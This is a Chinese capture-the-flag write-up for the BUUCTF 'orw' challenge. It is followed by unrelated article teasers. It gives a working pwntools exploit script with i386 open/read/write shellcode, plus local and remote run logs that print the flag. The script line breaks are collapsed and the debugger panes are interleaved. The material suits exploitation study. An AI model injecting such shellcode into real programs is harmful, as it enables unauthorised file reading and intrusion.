从零开始做题:逆向 ret2shellcode orw

1.题目信息

BUUCTF在线评测

下载orw时防病毒要关闭

 

2.题目分析 

orw是open、read、write的简写。有时候binary会通过prctl、seccomp进行沙箱保护,并不能getshell。只能通过orw的方式拿到flag。

fd=open(‘./flag’); # 打开flag文件,得到fd

read(fd,buf,0x30); #通过fd将flag的内容读到内存中

write(1,buf,0x30); #将内存中的flag内容输出到屏幕

在相关目录里面写入以下内容

holyeyes@ubuntu:~/Re/6$ echo "flag{testtest}" >./flag
holyeyes@ubuntu:~/Re/6$ 
 

3.解题脚本

root@pwn_test1604:/ctf/work/6# ls
orw  orw.i64  orw.py
root@pwn_test1604:/ctf/work/6# python
Python 2.7.12 (default, Nov 12 2018, 14:36:49) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "./flag".encode('hex')
'2e2f666c6167'
>>> "./flag\x00\x00".encode('hex')
'2e2f666c61670000'
>>> 

3.1只用修改的内容 

context.arch='i386'DEBUG = 1LOCAL = True
BIN   ='./orw'
HOST  ='node5.buuoj.cn'
PORT  =25178def exploit(p):p.recv()pl = """xor eax, eaxxor ebx, ebxxor ecx, ecxxor edx, edxpush 0x00006761push 0x6c662f2emov eax, 5    #open('./flag')mov ebx, espmov ecx, 0mov edx, 0int 0x80mov ebx, eaxmov eax, 3     #read(fd,esp,0x30)mov ecx, espmov edx, 0x30int 0x80mov eax, 4     #write(1,esp,0x30)mov ebx, 1mov ecx, espmov edx, 0x30int 0x80"""p.sendline(asm(pl))p.interactive()return

3.2全部脚本 

#!/usr/bin/env python
# -*- coding: utf-8 -*-from pickle import TRUE
from pwn import *
import syscontext.terminal=["tmux","sp","-h"]
context.log_level='debug'
context.arch='i386'DEBUG = 1LOCAL = True
BIN   ='./orw'
HOST  ='node5.buuoj.cn'
PORT  =25178def get_base_address(proc):return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)def debug(bps,_s):script = "handle SIGALRM ignore\n"PIE = get_base_address(p)script += "set $_base = 0x{:x}\n".format(PIE)for bp in bps:script += "b *0x%x\n"%(PIE+bp)script += _sgdb.attach(p,gdbscript=script)# pwn,caidan,leak,libc
# recv recvuntil send sendline sendlineafter sendafter
#aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabdef exploit(p):p.recv()pl = """xor eax, eaxxor ebx, ebxxor ecx, ecxxor edx, edxpush 0x00006761push 0x6c662f2emov eax, 5    #open('./flag')mov ebx, espmov ecx, 0mov edx, 0int 0x80mov ebx, eaxmov eax, 3     #read(fd,esp,0x30)mov ecx, espmov edx, 0x30int 0x80mov eax, 4     #write(1,esp,0x30)mov ebx, 1mov ecx, espmov edx, 0x30int 0x80"""p.sendline(asm(pl))p.interactive()returnif __name__ == "__main__":elf = ELF(BIN)if len(sys.argv) > 1:LOCAL = Falsep = remote(HOST, PORT)exploit(p)else:LOCAL = Truep = process(BIN)log.info('PID: '+ str(proc.pidof(p)[0]))# pauseif DEBUG:debug([],"")exploit(p)

 3.3 运行本地

root@pwn_test1604:/ctf/work/6# tmux

root@pwn_test1604:/ctf/work/6# python orw.py 

root@pwn_test1604:/ctf/work/6# python orw.py                                        [25/25]│   f 1 f765ab23 __read_nocancel+25                                                  [0/48]
[DEBUG] PLT 0x8048370 read                                                                 │   f 2  8048582 main+58
[DEBUG] PLT 0x8048370 read                                                                 │   f 3 f759d637 __libc_start_main+247
[DEBUG] PLT 0x8048380 printf                                                               │pwndbg> c
[DEBUG] PLT 0x8048390 __stack_chk_fail                                                     │Continuing.
[DEBUG] PLT 0x80483a0 __libc_start_main                                                    │
[DEBUG] PLT 0x80483b0 prctl                                                                │Program received signal SIGSEGV, Segmentation fault.
[DEBUG] PLT 0x80483c0 __gmon_start__                                                       │0x0804a0a8 in shellcode ()
[*] '/ctf/work/6/orw'                                                                      │LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATAArch:     i386-32-little                                                               │──────────────────────────────────────[ REGISTERS ]───────────────────────────────────────RELRO:    Partial RELRO                                                                │ EAX  0x30Stack:    Canary found                                                                 │ EBX  0x1NX:       NX disabled                                                                  │ ECX  0xffbd74b4 ◂— 0x67616c66 ('flag')PIE:      No PIE (0x8048000)                                                           │ EDX  0x30RWX:      Has RWX segments                                                             │ EDI  0xf7737000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x1d /* 0x1b1db0 */
[+] Starting local process './orw': pid 179                                                │ ESI  0xf7737000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x1d /* 0x1b1db0 */
[*] PID: 179                                                                               │ EBP  0xffbd74c8 ◂— 0x0
[DEBUG] Wrote gdb script to '/tmp/pwn1jT2Ys.gdb'                                           │ ESP  0xffbd74b4 ◂— 0x67616c66 ('flag')file ./orw                                                                             │ EIP  0x804a0a8 (shellcode+72) ◂— 0xa /* '\n' */handle SIGALRM ignore                                                                  │────────────────────────────────────────[ DISASM ]────────────────────────────────────────set $_base = 0x8048000                                                                 │ ► 0x804a0a8 <shellcode+72>    or     al, byte ptr [eax]
[*] running in new terminal: /usr/bin/gdb -q  "./orw" 179 -x "/tmp/pwn1jT2Ys.gdb"          │   0x804a0aa <shellcode+74>    add    byte ptr [eax], al
[DEBUG] Launching a new terminal: ['/usr/bin/tmux', 'sp', '-h', '/usr/bin/gdb -q  "./orw" 1│   0x804a0ac <shellcode+76>    add    byte ptr [eax], al
79 -x "/tmp/pwn1jT2Ys.gdb"']                                                               │   0x804a0ae <shellcode+78>    add    byte ptr [eax], al
[+] Waiting for debugger: Done 
[DEBUG] Received 0x17 bytes:                                                         [0/25]│   f 1 f765ab23 __read_nocancel+25                                                  [0/48]'Give my your shellcode:'                                                              │   f 2  8048582 main+58
[DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python2.7/dist-packages/pwnlib/data/inc│   f 3 f759d637 __libc_start_main+247
ludes /dev/stdin                                                                           │pwndbg> c
[DEBUG] Assembling                                                                         │Continuing..section .shellcode,"awx"                                                              │.global _start                                                                         │Program received signal SIGSEGV, Segmentation fault..global __start                                                                        │0x0804a0a8 in shellcode ()_start:                                                                                │LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA__start:                                                                               │──────────────────────────────────────[ REGISTERS ]───────────────────────────────────────.intel_syntax noprefix                                                                 │ EAX  0x30xor eax, eax                                                                       │ EBX  0x1xor ebx, ebx                                                                       │ ECX  0xffbd74b4 ◂— 0x67616c66 ('flag')xor ecx, ecx                                                                       │ EDX  0x30xor edx, edx                                                                       │ EDI  0xf7737000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x1d /* 0x1b1db0 */push 0x00006761                                                                    │ ESI  0xf7737000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x1d /* 0x1b1db0 */push 0x6c662f2e                                                                    │ EBP  0xffbd74c8 ◂— 0x0mov eax, 5 #open('./flag')                                                         │ ESP  0xffbd74b4 ◂— 0x67616c66 ('flag')mov ebx, esp                                                                       │ EIP  0x804a0a8 (shellcode+72) ◂— 0xa /* '\n' */mov ecx, 0                                                                         │────────────────────────────────────────[ DISASM ]────────────────────────────────────────mov edx, 0                                                                         │ ► 0x804a0a8 <shellcode+72>    or     al, byte ptr [eax]int 0x80                                                                           │   0x804a0aa <shellcode+74>    add    byte ptr [eax], almov ebx, eax                                                                       │   0x804a0ac <shellcode+76>    add    byte ptr [eax], almov eax, 3 #read(fd,esp,0x30)                                                      │   0x804a0ae <shellcode+78>    add    byte ptr [eax], almov ecx, esp                                                                       │   0x804a0b0 <shellcode+80>    add    byte ptr [eax], almov edx, 0x30                                                                      │   0x804a0b2 <shellcode+82>    add    byte ptr [eax], alint 0x80                                                                           │   0x804a0b4 <shellcode+84>    add    byte ptr [eax], almov eax, 4 #write(1,esp,0x30)                                                      │   0x804a0b6 <shellcode+86>    add    byte ptr [eax], almov ebx, 1                                                                         │   0x804a0b8 <shellcode+88>    add    byte ptr [eax], almov ecx, esp                                                                       │   0x804a0ba <shellcode+90>    add    byte ptr [eax], almov edx, 0x30                                                                      │   0x804a0bc <shellcode+92>    add    byte ptr [eax], alint 0x80                                                                           │────────────────────────────────────────[ STACK ]─────────────────────────────────────────
[DEBUG] /usr/bin/x86_64-linux-gnu-as -32 -o /tmp/pwn-asm-bw_t9d/step2 /tmp/pwn-asm-bw_t9d/s│00:0000│ ecx esp  0xffbd74b4 ◂— 0x67616c66 ('flag')
tep1                                                                                       │01:0004│          0xffbd74b8 ◂— 0x7365747b ('{tes')
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-bw_t9d/step3 │02:0008│          0xffbd74bc ◂— 0x73657474 ('ttes')
/tmp/pwn-asm-bw_t9d/step4                                                                  │03:000c│          0xffbd74c0 ◂— 0xf70a7d74
[DEBUG] Sent 0x49 bytes:                                                                   │04:0010│          0xffbd74c4 —▸ 0xffbd74e0 ◂— 0x100000000  31 c0 31 db  31 c9 31 d2  68 61 67 00  00 68 2e 2f  │1·1·│1·1·│hag·│·h./│    │05:0014│ ebp      0xffbd74c8 ◂— 0x000000010  66 6c b8 05  00 00 00 89  e3 b9 00 00  00 00 ba 00  │fl··│····│····│····│    │06:0018│          0xffbd74cc —▸ 0xf759d637 (__libc_start_main+247) ◂— add    esp, 0x1000000020  00 00 00 cd  80 89 c3 b8  03 00 00 00  89 e1 ba 30  │····│····│····│···0│    │07:001c│          0xffbd74d0 —▸ 0xf7737000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x1d /* 000000030  00 00 00 cd  80 b8 04 00  00 00 bb 01  00 00 00 89  │····│····│····│····│    │x1b1db0 */00000040  e1 ba 30 00  00 00 cd 80  0a                        │··0·│····│·│            │──────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────    00000049                                                                               │ ► f 0  804a0a8 shellcode+72
[*] Switching to interactive mode                                                          │   f 1 67616c66
[DEBUG] Received 0x30 bytes:                                                               │   f 2 7365747b00000000  66 6c 61 67  7b 74 65 73  74 74 65 73  74 7d 0a f7  │flag│{tes│ttes│t}··│    │   f 3 7365747400000010  e0 74 bd ff  00 00 00 00  37 d6 59 f7  00 70 73 f7  │·t··│····│7·Y·│·ps·│    │   f 4 f70a7d7400000020  00 70 73 f7  00 00 00 00  37 d6 59 f7  01 00 00 00  │·ps·│····│7·Y·│····│    │   f 5 ffbd74e000000030                                                                               │   f 6 f759d637 __libc_start_main+247
flag{testtest}                                                                             │Program received signal SIGSEGV (fault address 0x30)
��\xff\x00\x00\x00\x007�ps�ps�\x007�\x00$  

3.4 运行远程

root@pwn_test1604:/ctf/work/6# python orw.py 1

root@pwn_test1604:/ctf/work/6# tmux
[exited]
root@pwn_test1604:/ctf/work/6# python orw.py 1
[DEBUG] PLT 0x8048370 read
[DEBUG] PLT 0x8048380 printf
[DEBUG] PLT 0x8048390 __stack_chk_fail
[DEBUG] PLT 0x80483a0 __libc_start_main
[DEBUG] PLT 0x80483b0 prctl
[DEBUG] PLT 0x80483c0 __gmon_start__
[*] '/ctf/work/6/orw'Arch:     i386-32-littleRELRO:    Partial RELROStack:    Canary foundNX:       NX disabledPIE:      No PIE (0x8048000)RWX:      Has RWX segments
[+] Opening connection to node5.buuoj.cn on port 25178: Done
[DEBUG] Received 0x17 bytes:'Give my your shellcode:'
[DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python2.7/dist-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling.section .shellcode,"awx".global _start.global __start_start:__start:.intel_syntax noprefixxor eax, eaxxor ebx, ebxxor ecx, ecxxor edx, edxpush 0x00006761push 0x6c662f2emov eax, 5 #open('./flag')mov ebx, espmov ecx, 0mov edx, 0int 0x80mov ebx, eaxmov eax, 3 #read(fd,esp,0x30)mov ecx, espmov edx, 0x30int 0x80mov eax, 4 #write(1,esp,0x30)mov ebx, 1mov ecx, espmov edx, 0x30int 0x80
[DEBUG] /usr/bin/x86_64-linux-gnu-as -32 -o /tmp/pwn-asm-C0CcaA/step2 /tmp/pwn-asm-C0CcaA/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-C0CcaA/step3 /tmp/pwn-asm-C0CcaA/step4
[DEBUG] Sent 0x49 bytes:00000000  31 c0 31 db  31 c9 31 d2  68 61 67 00  00 68 2e 2f  │1·1·│1·1·│hag·│·h./│00000010  66 6c b8 05  00 00 00 89  e3 b9 00 00  00 00 ba 00  │fl··│····│····│····│00000020  00 00 00 cd  80 89 c3 b8  03 00 00 00  89 e1 ba 30  │····│····│····│···0│00000030  00 00 00 cd  80 b8 04 00  00 00 bb 01  00 00 00 89  │····│····│····│····│00000040  e1 ba 30 00  00 00 cd 80  0a                        │··0·│····│·│00000049
[*] Switching to interactive mode
[DEBUG] Received 0x30 bytes:00000000  66 6c 61 67  7b 31 30 33  37 66 34 39  62 2d 33 30  │flag│{103│7f49│b-30│00000010  36 63 2d 34  30 34 32 2d  38 34 31 31  2d 34 38 34  │6c-4│042-│8411│-484│00000020  39 32 64 61  35 37 30 36  62 7d 0a f7  01 00 00 00  │92da│5706│b}··│····│00000030
flag{1037f49b-306c-4042-8411-48492da5706b}
�\x0[DEBUG] Received 0x2b bytes:'timeout: the monitored command dumped core\n'
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$  

3.5 避坑提醒

用kali2023的虚机环境不行,要用ubuntu16.04的虚机环境就可以。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/653782.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android MTE技术详解

1.MTE概念 MTE&#xff08;内存标记扩展&#xff09;是ARM v8.5-A新增的一项缓解内存安全的机制。在Android Linux现有的安全机制中&#xff0c;类似的机制有ASAN、HWSAN。但两者因为性能开销代价高昂&#xff0c;不适用于广泛部署&#xff08;仅调试使用&#xff09;。MTE当前…

语义分割 | 基于 VGG16 预训练网络和 Segnet 架构实现迁移学习

Hi&#xff0c;大家好&#xff0c;我是源于花海。本文主要使用数据标注工具 Labelme 对猫&#xff08;cat&#xff09;和狗&#xff08;dog&#xff09;这两种训练样本进行标注&#xff0c;使用预训练模型 VGG16 作为卷积基&#xff0c;并在其之上添加了全连接层。基于标注样本…

【算法专题】动态规划综合篇

动态规划7.0 1. 最长公共子序列2. 不相交的线3. 不同的子序列4. 通配符匹配5. 正则表达式匹配6. 交错字符串7. 两个字符串的最小ASCII删除和8. 最长重复子数组 1. 最长公共子序列 题目链接 -> Leetcode -1143.最长公共子序列 Leetcode -1143.最长公共子序列 题目&#xf…

单张图像三维重建RealFusion 360◦ Reconstruction of Any Object from a Single Image

Luke Melas-Kyriazi&#xff0c; Iro Laina&#xff0c; Christian Rupprecht&#xff0c; Andrea Vedaldi.RealFusion 360◦ Reconstruction of Any Object from a Single Image。RealFusion: 360 Reconstruction of Any Object from a Single Image Abstract We consider th…

升降机SEW MOVIDRIVE变频器设置

SEW变频器Startup 安装好MOVITOOL软件 打开项目开始配置通信连接 以太网连接为例 在此栏输入需要连接的SEW变频器的IP地址,例如:172.25.20.120 设置完成单击“OK” 当设置完成后,请一路OK回到软件管理画面 通信配置正确的软件界面状态 单击红色刷新图标 一切准备就绪后…

DjangoURL调度器(一)

一、介绍 当一个用户请求 Django 站点的一个页面&#xff0c;下面是 Django 系统决定执行哪个 Python 代码使用的算法&#xff1a; Django确定要使用的根URLconf模块&#xff0c;一般是在settings中的ROOT_URLCONF设置的值&#xff0c;但是如果传入 HttpRequest 对象具有一个ur…

Pytest 识别case规则

一、Python测试框架&#xff0c;主要特点有以下几点&#xff1a; 简单灵活&#xff0c;容易上手&#xff1b;支持参数化&#xff1b;能够支持简单的单元测试和复杂的功能测试&#xff0c;还可以用来做selenium/appnium等自动化测试、接口自动化测试&#xff08;pytestrequests…

C#简单使用Yolov5的Onnx格式模型进行目标检测

背景 最近要离职了&#xff0c;同事需要了解一下C#如何使用yolov5系列onnx格式模型进行目标检测&#xff0c;由于其对C#不熟练&#xff0c;可能会影响公司后续的开发进度&#xff0c;所以趁着还在&#xff0c;赶紧把手尾搞好。 方案 1、创建一个C# DotNet 8 控制台项目[可千…

LabVIEW动态数据交换实现数据通信

LabVIEW动态数据交换实现数据通信 介绍了LabVIEW软件在驱动一般多功能接口卡中的应用。LabVIEW作为一种图形化编程平台&#xff0c;被广泛应用于自动测量系统、工业过程自动化等领域。利用LabVIEW驱动实验室中常用的多功能接口卡&#xff0c;以实现数据采集和分析。 系统主要…

bxCAN 主要特性

bxCAN 主要特性 ● 支持 2.0 A 及 2.0 B Active 版本 CAN 协议 ● 比特率高达 1 Mb/s ● 支持时间触发通信方案 发送 ● 三个发送邮箱 ● 可配置的发送优先级 ● SOF 发送时间戳 接收 ● 两个具有三级深度的接收 FIFO ● 可调整的筛选器组&#xff1a; — CAN1 和…

Go语言的100个错误使用场景(一)|代码和项目组织

前言 大家好&#xff0c;这里是白泽。 《Go语言的100个错误以及如何避免》 是最近朋友推荐我阅读的书籍&#xff0c;我初步浏览之后&#xff0c;大为惊喜。就像这书中第一章的标题说到的&#xff1a;“Go: Simple to learn but hard to master”&#xff0c;整本书通过分析100…

ASP .NET Core Api 使用过滤器

过滤器说明 过滤器与中间件很相似&#xff0c;过滤器&#xff08;Filters&#xff09;可在管道&#xff08;pipeline&#xff09;特定阶段&#xff08;particular stage&#xff09;前后执行操作。可以将过滤器视为拦截器&#xff08;interceptors&#xff09;。 过滤器级别范围…

MATLAB环境下一种音频降噪优化方法—基于时频正则化重叠群收缩

语音增强是语音信号处理领域中的一个重大分支&#xff0c;这一分支已经得到国内外学者的广泛研究。当今时代&#xff0c;随着近六十年来的不断发展&#xff0c;己经产生了许多有效的语音增强算法。根据语音增强过程中是否利用语音和噪声的先验信息&#xff0c;语音增强算法一般…

基于springboot游戏分享网站源码和论文

网络的广泛应用给生活带来了十分的便利。所以把游戏分享管理与现在网络相结合&#xff0c;利用java技术建设游戏分享网站&#xff0c;实现游戏分享的信息化。则对于进一步提高游戏分享管理发展&#xff0c;丰富游戏分享管理经验能起到不少的促进作用。 游戏分享网站能够通过互…

快手社招一面算法原题

快手面试 最近收到一位读者的留言&#xff0c;是跟我吐槽「快手社招面试」的。 但是由于交谈内容太多东西需要脱敏&#xff0c;我打完马赛克之后&#xff0c;发现上下文都不连贯了。 遂罢。 但一转念&#xff0c;我想如果这真的是这个公司的普遍性问题&#xff0c;而非独立个例…

【极数系列】Flink环境搭建Linux版本 (03)

文章目录 引言01 Linux部署JDK11版本1.下载Linux版本的JDK112.创建目录3.上传并解压4.配置环境变量5.刷新环境变量6.检查jdk安装是否成功 02 Linux部署Flink1.18.0版本1.下载Flink1.18.0版本包2.上传压缩包到服务器3.修改flink-config.yaml配置4.启动服务5.浏览器访问6.停止服务…

verdaccio搭建npm私服

一、安装verdaccio 注&#xff1a;加上–unsafe-perm的原因是防止报grywarn权限的错 npm install -g verdaccio --unsafe-perm 二、启动verdaccio verdaccio 三、配置文件 找到config.yml一般情况下都在用户下的这个文件夹下面 注&#xff1a;首次启动后才会生成 C:\Users\h…

Idea上操作Git回退本地版本,怎么样保留已修改的文件,回退本地版本的四种方式代表什么?

Git的基本概念:Git是一个版本控制系统,用于管理代码的变更历史记录。核心概念包括仓库、分支、提交和合并。 1、可以帮助开发者合并开发的代码 2、如果出现冲突代码的合并,会提示后提交合并代码的开发者,让其解决冲突 3、代码文件版本管理 问题描述 当我们使用git提交代码…

深入了解低代码开发:多角度分类

引言 随着数字化时代的到来&#xff0c;应用程序的需求不断增长&#xff0c;企业和开发者们面临着更多的挑战&#xff0c;包括开发周期的压力、技术复杂性的增加以及对高效协作的需求。在这一背景下&#xff0c;低代码开发应运而生&#xff0c;成为解决这些挑战的一种强大工具…

算法基础课-数据结构

单链表 题目链接&#xff1a;826. 单链表 - AcWing题库 思路&#xff1a;AcWing 826. 单链表---图解 - AcWing 需要注意的点在于理解ne[idx] head&#xff0c;idx表示当前的点&#xff0c;意思是将当前的点链到头结点的后面&#xff0c;再将头结点链在当前idx的前面。 #inc…